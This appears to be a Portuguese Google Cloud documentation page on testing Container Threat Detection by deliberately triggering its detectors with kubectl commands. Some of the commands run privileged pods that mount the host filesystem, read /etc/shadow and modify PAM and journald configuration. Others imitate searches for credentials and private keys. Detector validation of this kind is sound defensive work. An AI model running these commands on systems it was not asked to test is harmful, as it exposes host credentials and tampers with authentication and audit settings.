Testar a Deteção de ameaças de contentores

Esta página explica como validar se a Deteção de ameaças de contentores está a funcionar acionando intencionalmente os detetores e verificando se existem resultados. A Deteção de ameaças de contentores é um serviço incorporado dos níveis Premium e Enterprise do Security Command Center. Para ver as conclusões da Deteção de ameaças de contentores, tem de estar ativada nas definições dos Serviços do Security Command Center.

Antes de começar

Para detetar potenciais ameaças aos seus contentores, tem de se certificar de que os seus clusters estão numa versão suportada do Google Kubernetes Engine (GKE). Para mais informações, consulte o artigo Usar uma versão do GKE suportada. Se quiser testar a deteção de ameaças no ARM, precisa de um cluster com um conjunto de nós que contenha instâncias do ARM. Para mais informações, consulte o artigo Prepare cargas de trabalho do Arm no GKE.

Ative os detetores

Os seguintes detetores estão desativados por predefinição:

  • Added Binary Executed
  • Added Library Loaded
  • Collection: Pam.d Modification (Pré-visualizar)
  • Credential Access: Access Sensitive Files on Nodes (Pré-visualizar)
  • Credential Access: Find Google Cloud Credentials
  • Defense Evasion: Disable or modify Linux audit system (Pré-visualizar)
  • Defense Evasion: Launch Code Compiler Tool In Container
  • Defense Evasion: Root Certificate Installed (Pré-visualizar)
  • Execution: Program Run with Disallowed HTTP Proxy Env
  • Execution: Suspicious Cron Modification (Pré-visualizar)
  • Exfiltration: Launch Remote File Copy Tools in Container
  • Persistence: Modify ld.so.preload (Pré-visualizar)

Para testar estes detetores, têm de ser ativados explicitamente.

Primeiro, verifique o estado de todos os detetores:

   export PROJECT=PROJECT_ID
   gcloud alpha scc settings services describe \
       --service=CONTAINER_THREAT_DETECTION \
       --project=${PROJECT}

Para ativar um detetor específico, use o comando correspondente abaixo:

  • Ative o detetor Added Binary Executed:

    gcloud alpha scc settings services modules enable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=ADDED_BINARY_EXECUTED \
        --project=${PROJECT}
    
  • Ative o detetor Added Library Loaded:

    gcloud alpha scc settings services modules enable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=ADDED_LIBRARY_LOADED \
        --project=${PROJECT}
    
  • Ative o detetor Collection: Pam.d Modification (pré-visualização):

    gcloud alpha scc settings services modules enable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=PAM_D_MODIFICATION \
        --project=${PROJECT}
    
  • Ative o detetor Credential Access: Access Sensitive Files on Nodes (pré-visualização):

    gcloud alpha scc settings services modules enable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=ACCESS_SENSITIVE_FILES_ON_NODES \
        --project=${PROJECT}
    
  • Ative o detetor Credential Access: Find Google Cloud Credentials:

    gcloud alpha scc settings services modules enable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=FIND_GCP_CREDENTIALS \
        --project=${PROJECT}
    
  • Ative o detetor Defense Evasion: Disable or modify Linux audit system (pré-visualização):

    gcloud alpha scc settings services modules enable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=DISABLE_OR_MODIFY_LINUX_AUDIT_SYSTEM \
        --project=${PROJECT}
    
  • Ative o detetor Defense Evasion: Launch Code Compiler Tool In Container:

    gcloud alpha scc settings services modules enable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=LAUNCH_CODE_COMPILER_TOOL_IN_CONTAINER \
        --project=${PROJECT}
    
  • Ative o detetor Defense Evasion: Root Certificate Installed (pré-visualização):

    gcloud alpha scc settings services modules enable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=ROOT_CERTIFICATE_INSTALLED \
        --project=${PROJECT}
    
  • Ative o detetor Execution: Program Run with Disallowed HTTP Proxy Env:

    gcloud alpha scc settings services modules enable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=PROGRAM_RUN_WITH_DISALLOWED_HTTP_PROXY_ENV \
        --project=${PROJECT}
    
  • Ative o detetor Execution: Suspicious Cron Modification (pré-visualização):

    gcloud alpha scc settings services modules enable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=SUSPICIOUS_CRON_MODIFICATION \
        --project=${PROJECT}
    
  • Ative o detetor Exfiltration: Launch Remote File Copy Tools in Container:

    gcloud alpha scc settings services modules enable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=LAUNCH_REMOTE_FILE_COPY_TOOLS_IN_CONTAINER \
        --project=${PROJECT}
    
  • Ative o detetor Persistence: Modify ld.so.preload (pré-visualização):

    gcloud alpha scc settings services modules enable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=MODIFY_LD_SO_PRELOAD \
        --project=${PROJECT}
    

Defina variáveis de ambiente

Para testar os detetores, use a Google Cloud consola e o Cloud Shell. Pode definir variáveis de ambiente no Cloud Shell para facilitar a execução de comandos. As seguintes variáveis são usadas para testar todos os detetores de deteção de ameaças de contentores.

  1. Aceda à Google Cloud consola.

    Aceda à Google Cloud consola

  2. Selecione o projeto que contém o contentor que quer usar para testar.

  3. Clique em Ativar Cloud Shell.

  4. No Cloud Shell, defina variáveis de ambiente.

    1. A zona em que o cluster se encontra:

      export ZONE=CLUSTER_ZONE
      
    2. O projeto no qual o contentor se encontra:

      export PROJECT=PROJECT_ID
      
    3. O nome do seu cluster:

      export CLUSTER_NAME=CLUSTER_NAME
      

As variáveis estão definidas. As secções seguintes incluem instruções para testar os detetores de deteção de ameaças de contentores.

Added Binary Executed

Para acionar uma descoberta de binário adicionado executado, coloque um binário no seu contentor e execute-o. Este exemplo implementa a imagem mais recente do Ubuntu 24.04, copia-a para outra localização e, em seguida, executa-a./bin/ls A execução do ficheiro binário é inesperada porque a cópia do ficheiro binário não fazia parte da imagem do contentor original, mesmo quando essa imagem está no Ubuntu 24.04 e os contentores se destinam a ser imutáveis.

  1. Defina variáveis de ambiente.

  2. Use o Cloud Shell para aceder ao plano de controlo do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Largue um ficheiro binário e execute-o:

    • Nó x86:

      tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
          --restart=Never \
          --rm=true -i \
          --image marketplace.gcr.io/google/ubuntu2404:latest \
          "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
      
    • Nó ARM:

      tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
          --restart=Never \
          --rm=true -i \
          --image marketplace.gcr.io/google/ubuntu2404:latest \
          --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
          {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
          "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
          "value": "arm64" } ]}}' \
          "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
      

Este procedimento de teste deve criar uma deteção de Added Binary Executed que pode ver no Security Command Center e no Cloud Logging se tiver configurado o registo para a Deteção de ameaças de contentores. A visualização de resultados no Cloud Logging só está disponível se ativar o nível Premium ou Enterprise do Security Command Center.

Para a redução de ruído, quando cria um contentor pela primeira vez, a Deteção de ameaças de contentores filtra temporariamente as conclusões de binário adicionado executado. Para ver todas as descobertas de binários adicionados/executados enquanto um contentor está a ser configurado, adicione o prefixo ktd-test ao nome do contentor ou do pod, como no exemplo.

Biblioteca adicionada carregada

Para acionar uma descoberta de biblioteca carregada adicionada, coloque uma biblioteca no seu contentor e, em seguida, carregue-a. Este exemplo implementa a imagem mais recente do Ubuntu 24.04, copia-a /lib/x86_64-linux-gnu/libc.so.6 para outra localização e, em seguida, carrega-a através de ld. A biblioteca carregada é inesperada porque a cópia da biblioteca não fazia parte da imagem do contentor original, mesmo que essa imagem esteja no Ubuntu 24.04, e os contentores destinam-se a ser imutáveis.

  1. Defina variáveis de ambiente.

  2. Use o Cloud Shell para aceder ao plano de controlo do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Largue uma biblioteca e use ld para a carregar:

    • Nó x86:

      tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c \
            "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"
      
    • Nó ARM:

      tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c \
            "cp /lib/aarch64-linux-gnu/libc.so.6 /tmp/$tag; /lib/ld-linux-aarch64.so.1 /tmp/$tag"
      

Este procedimento de teste deve criar uma deteção Added Library Loaded que pode ver no Security Command Center e no Cloud Logging se tiver configurado o registo para a deteção de ameaças de contentores. A visualização de resultados no Cloud Logging só está disponível se ativar o nível Premium ou Enterprise do Security Command Center ao nível da organização.

Para a redução de ruído, quando cria um contentor pela primeira vez, a Deteção de ameaças de contentores filtra temporariamente as descobertas de biblioteca adicionada carregada. Para ver todas as descobertas carregadas da biblioteca adicionada enquanto um contentor está a ser configurado, adicione o prefixo ktd-test ao nome do contentor ou do pod, como no exemplo.

Coleção: Pam.d Modification (pré-visualização)

Para acionar uma deteção de modificação do pam.d, modifique um dos ficheiros relacionados com o PAM do anfitrião. Este exemplo implementa a imagem mais recente do Ubuntu 24.04, montando o sistema de ficheiros raiz do anfitrião no contentor e, em seguida, modifica /etc/pam.d/sshd.

Este é um detetor de monitorização de ficheiros e tem requisitos específicos da versão do GKE.

  1. Defina variáveis de ambiente.

  2. Use o Cloud Shell para aceder ao plano de controlo do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Executar um ficheiro binário que modifique um dos ficheiros relacionados com o PAM no anfitrião.

    • Nó x86:

      tag="ktd-test-pamd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/pam.d/sshd"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'
      
    • Nó ARM:

      tag="ktd-test-pamd-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/pam.d/sshd"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
         "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" }] }}'
      

Este procedimento de teste aciona uma descoberta de modificação do pam.d que pode ver no Security Command Center e, se tiver configurado o registo para a deteção de ameaças de contentores, no Cloud Logging. A visualização de resultados no Cloud Logging só está disponível se ativar o nível Premium ou Enterprise do Security Command Center ao nível da organização.

Comando e controlo: ferramenta de esteganografia detetada

Para acionar uma deteção de Command and Control: Steganography Tool Detected (Pré-visualização), um ficheiro binário com capacidades de manipulação de ficheiros consistentes com ferramentas de esteganografia tem de ser executado num contentor. Este exemplo usa a imagem mais recente do Ubuntu 24.04. Copia /bin/ls e muda o nome para steghide (ou outra ferramenta de esteganografia, como stegano). Este comportamento é denunciado como suspeito porque pode indicar uma tentativa de preparar um contentor para ocultar ou extrair dados, potencialmente para fins maliciosos.

  1. Defina variáveis de ambiente.

  2. Use o Cloud Shell para aceder ao plano de controlo do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Executar um binário de ferramenta de esteganografia, como steghide:

    • Nó x86:

      tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/steghide; /tmp/steghide"
      
    • Nó ARM:

      tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/steghide; /tmp/steghide"
      

Este procedimento de teste cria uma descoberta Command and Control: Steganography Tool Detected que pode ver no Security Command Center e no Cloud Logging se tiver configurado o registo para a deteção de ameaças de contentores. A visualização de resultados no Cloud Logging só está disponível se ativar o nível Premium ou Enterprise do Security Command Center.

Acesso a credenciais: aceda a ficheiros confidenciais em nós (pré-visualização)

Para acionar uma deteção de acesso a ficheiros confidenciais, leia o ficheiro /etc/shadow do anfitrião. Este exemplo implementa a imagem mais recente do Ubuntu 24.04, montando o sistema de ficheiros raiz do anfitrião no contentor e, em seguida, lê /etc/shadow usando cat.

Este é um detetor de monitorização de ficheiros e tem requisitos específicos da versão do GKE.

  1. Defina variáveis de ambiente.

  2. Use o Cloud Shell para aceder ao plano de controlo do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Executar um ficheiro binário que lê o ficheiro /etc/shadow do anfitrião.

    • Nó x86:

      tag="ktd-test-sfa-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["/bin/cat", "/host/etc/shadow"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'
      
    • Nó ARM:

      tag="ktd-test-sfa-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["/bin/cat", "/host/etc/shadow"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
         "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" }] }}'
      

Este procedimento de teste aciona uma deteção de ficheiro sensível acedido que pode ver no Security Command Center e, se tiver configurado o registo para a Deteção de ameaças de contentores, no Cloud Logging. A visualização de resultados no Cloud Logging só está disponível se ativar o nível Premium ou Enterprise do Security Command Center ao nível da organização.

Acesso a credenciais: encontrar Google Cloud credenciais

Para acionar uma deteção Credential Access: Find Google Cloud Credentials, tem de ser executado um ficheiro binário capaz de pesquisar o conteúdo dos ficheiros num contentor. Este exemplo usa a imagem mais recente do Ubuntu 24.04. Copia /bin/ls e muda o nome para grep. Em seguida, o ficheiro binário com o nome alterado é executado com argumentos que especificam um padrão de pesquisa indicativo de uma forma de Google Cloud credenciais. Esta ação foi sinalizada como suspeita porque imita o comportamento observado quando se tenta localizar credenciais Google Cloud .

  1. Defina variáveis de ambiente.

  2. Use o Cloud Shell para aceder ao plano de controlo do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Execute um ficheiro binário da ferramenta de pesquisa, como find, com os argumentos adequados:

    • Nó x86:

      tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"
      
    • Nó ARM:

      tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"
      

Este procedimento de teste deve criar uma descoberta que pode ver no Security Command Center e no Cloud Logging se tiver configurado o registo para a deteção de ameaças de contentores.Credential Access: Find Google Cloud Credentials A visualização de descobertas no Cloud Logging só está disponível se ativar o nível Premium ou Enterprise do Security Command Center.

Acesso a credenciais: reconhecimento de chaves GPG

Para acionar uma deteção Credential Access: GPG Key Reconnaissance, tem de executar um ficheiro binário capaz de pesquisar o conteúdo dos ficheiros num contentor. Este exemplo usa a imagem mais recente do Ubuntu 24.04. Copia /bin/ls e muda o nome para find (ou outra utilidade de pesquisa adequada, como grep). O ficheiro binário com o nome alterado é executado com argumentos que especificam um padrão de pesquisa indicativo de chaves privadas ou palavras-passe, ou padrões de conteúdo que sugerem palavras-passe ou segredos. Esta ação é denunciada como suspeita porque imita o comportamento observado quando se tenta localizar chaves de segurança GPG.

  1. Defina variáveis de ambiente.

  2. Use o Cloud Shell para aceder ao plano de controlo do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Execute um ficheiro binário da ferramenta de pesquisa, como find, com os argumentos adequados:

    • Nó x86:

      tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/find; /tmp/find secring"
      
    • Nó ARM:

      tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/find; /tmp/find secring"
      

Este procedimento de teste deve criar uma Credential Access: GPG Key Reconnaissancedescoberta que pode ver no Security Command Center e no Cloud Logging se tiver configurado o registo para a Deteção de ameaças de contentores. A visualização de resultados no Cloud Logging só está disponível se ativar o nível Premium ou Enterprise do Security Command Center.

Acesso a credenciais: pesquisar chaves privadas ou palavras-passe

Para acionar uma deteção Credential Access: Search Private Keys or Passwords, tem de executar um ficheiro binário capaz de pesquisar o conteúdo dos ficheiros num contentor. Este exemplo usa a imagem mais recente do Ubuntu 24.04. Copia /bin/ls e muda o nome para find (ou outra utilidade de pesquisa adequada, como grep). O ficheiro binário com o nome alterado é executado com argumentos que especificam um padrão de pesquisa indicativo de chaves privadas ou palavras-passe, ou padrões de conteúdo que sugerem palavras-passe ou segredos. Esta ação é denunciada como suspeita porque imita o comportamento observado quando se tenta localizar informações confidenciais, como chaves privadas ou palavras-passe, num ambiente em contentores.

  1. Defina variáveis de ambiente.

  2. Use o Cloud Shell para aceder ao plano de controlo do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Execute um ficheiro binário da ferramenta de pesquisa, como find, com os argumentos adequados:

    • Nó x86:

      tag="ktd-test-search-private-keys-or-pw-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/find; /tmp/find id_rsa"
      
    • Nó ARM:

      tag="ktd-test-search-private-keys-or-pw-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/find; /tmp/find id_rsa"
      

Este procedimento de teste deve criar uma descoberta Credential Access: Search Private Keys or Passwords que pode ver no Security Command Center e no Cloud Logging se tiver configurado o registo para a deteção de ameaças de contentores. A visualização de resultados no Cloud Logging só está disponível se ativar o nível Premium ou Enterprise do Security Command Center.

Evasão de defesa: linhas de comandos de ficheiros ELF Base64

Para acionar uma descoberta Defense Evasion: Base64 ELF File Command Line, um processo tem de ter base64 como argumento e f0VMRgIB como argumento, que é a forma codificada em base64 de ELF. Este exemplo usa a imagem mais recente do Ubuntu 24.04. base64 é, em seguida, executado com os argumentos -d e f0VMRgIB. Esta ação é denunciada como suspeita porque imita o comportamento observado quando se tenta descodificar dados binários para executar código malicioso.

  1. Defina variáveis de ambiente.

  2. Use o Cloud Shell para aceder ao plano de controlo do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Execute um ficheiro binário da ferramenta de pesquisa, como find, com os argumentos adequados:

    • Nó x86:

      tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "base64 -d f0VMRgIB"
      
    • Nó ARM:

      tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "base64 -d f0VMRgIB"
      

Este procedimento de teste deve criar duas Defense Evasion: Base64 ELF File Command Line descobertas que pode ver no Security Command Center e no Cloud Logging se tiver configurado o registo para a deteção de ameaças de contentores. A visualização de resultados no Cloud Logging só está disponível se ativar o nível Premium ou Enterprise do Security Command Center. São criadas duas descobertas porque o comando bash -c inicial, bem como a execução do comando base64 -d, satisfazem os critérios de descoberta.

Defense Evasion: Base64 Encoded Python Script Executed

Para acionar uma deteção Defense Evasion: Base64 Encoded Python Script Executed, um processo tem de ter echo ou base64 como argumento e aW1wb3J0IH como argumento, que é a forma codificada em base64 de python -c. Este exemplo usa a imagem mais recente do Ubuntu 24.04. echo é executado com o argumento aW1wb3J0IH. Esta ação é denunciada como suspeita porque imita o comportamento observado quando se tenta descodificar dados binários para executar código malicioso.

  1. Defina variáveis de ambiente.

  2. Use o Cloud Shell para aceder ao plano de controlo do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Execute um ficheiro binário da ferramenta de pesquisa, como find, com os argumentos adequados:

    • Nó x86:

      tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "echo aW1wb3J0IH"
      
    • Nó ARM:

      tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "echo aW1wb3J0IH"
      

Este procedimento de teste deve criar uma Defense Evasion: Base64 Encoded Python Script Executed descoberta que pode ver no Security Command Center e no Cloud Logging se tiver configurado o registo para a deteção de ameaças de contentores. A visualização de resultados no Cloud Logging só está disponível se ativar o nível Premium ou Enterprise do Security Command Center.

Defense Evasion: Base64 Encoded Shell Script Executed

Para acionar uma deteção Defense Evasion: Base64 Encoded Shell Script Executed, um processo tem de ter echo ou base64 como argumento e IyEvYmluL2Jhc2gK como argumento, que é a forma codificada em base64 de #!/bin/bash. Este exemplo usa a imagem mais recente do Ubuntu 24.04. echo é executado com o argumento IyEvYmluL2Jhc2gK. Esta ação é denunciada como suspeita porque imita o comportamento observado quando se tenta descodificar dados binários para executar código malicioso.

  1. Defina variáveis de ambiente.

  2. Use o Cloud Shell para aceder ao plano de controlo do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Execute um ficheiro binário da ferramenta de pesquisa, como find, com os argumentos adequados:

    • Nó x86:

      tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "echo IyEvYmluL2Jhc2gK"
      
    • Nó ARM:

      tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "echo IyEvYmluL2Jhc2gK"
      

Este procedimento de teste deve criar uma Defense Evasion: Base64 Encoded Shell Script Executed descoberta que pode ver no Security Command Center e no Cloud Logging se tiver configurado o registo para a deteção de ameaças de contentores. A visualização de resultados no Cloud Logging só está disponível se ativar o nível Premium ou Enterprise do Security Command Center.

Defense Evasion: Disable or Modify Linux Audit System (Preview)

Para acionar uma deteção de modificação de auditoria do Linux de desativação ou modificação, modifique um dos ficheiros de configuração relacionados com a auditoria do anfitrião. Este exemplo implementa a imagem mais recente do Ubuntu 24.04, monta o sistema de ficheiros raiz do anfitrião no contentor e, em seguida, modifica /etc/systemd/journald.conf.

Este é um detetor de monitorização de ficheiros e tem requisitos específicos da versão do GKE.

  1. Defina variáveis de ambiente.

  2. Use o Cloud Shell para aceder ao plano de controlo do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Executar um ficheiro binário que modifica um dos ficheiros de configuração relacionados com a auditoria do anfitrião, como /etc/systemd/journald.conf.

    • Nó x86:

      tag="ktd-test-audit-mod-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/systemd/journald.conf"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'
      
    • Nó ARM:

      tag="ktd-test-audit-mod-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/systemd/journald.conf"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
         "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" }] }}'
      

Este procedimento de teste aciona uma descoberta Disable or Modify Linux Audit System que pode ver no Security Command Center e, se tiver configurado o registo para a deteção de ameaças de contentores, no Cloud Logging. A visualização de resultados no Cloud Logging só está disponível se ativar o nível Premium ou Enterprise do Security Command Center ao nível da organização.

Defense Evasion: Launch Code Compiler Tool In Container

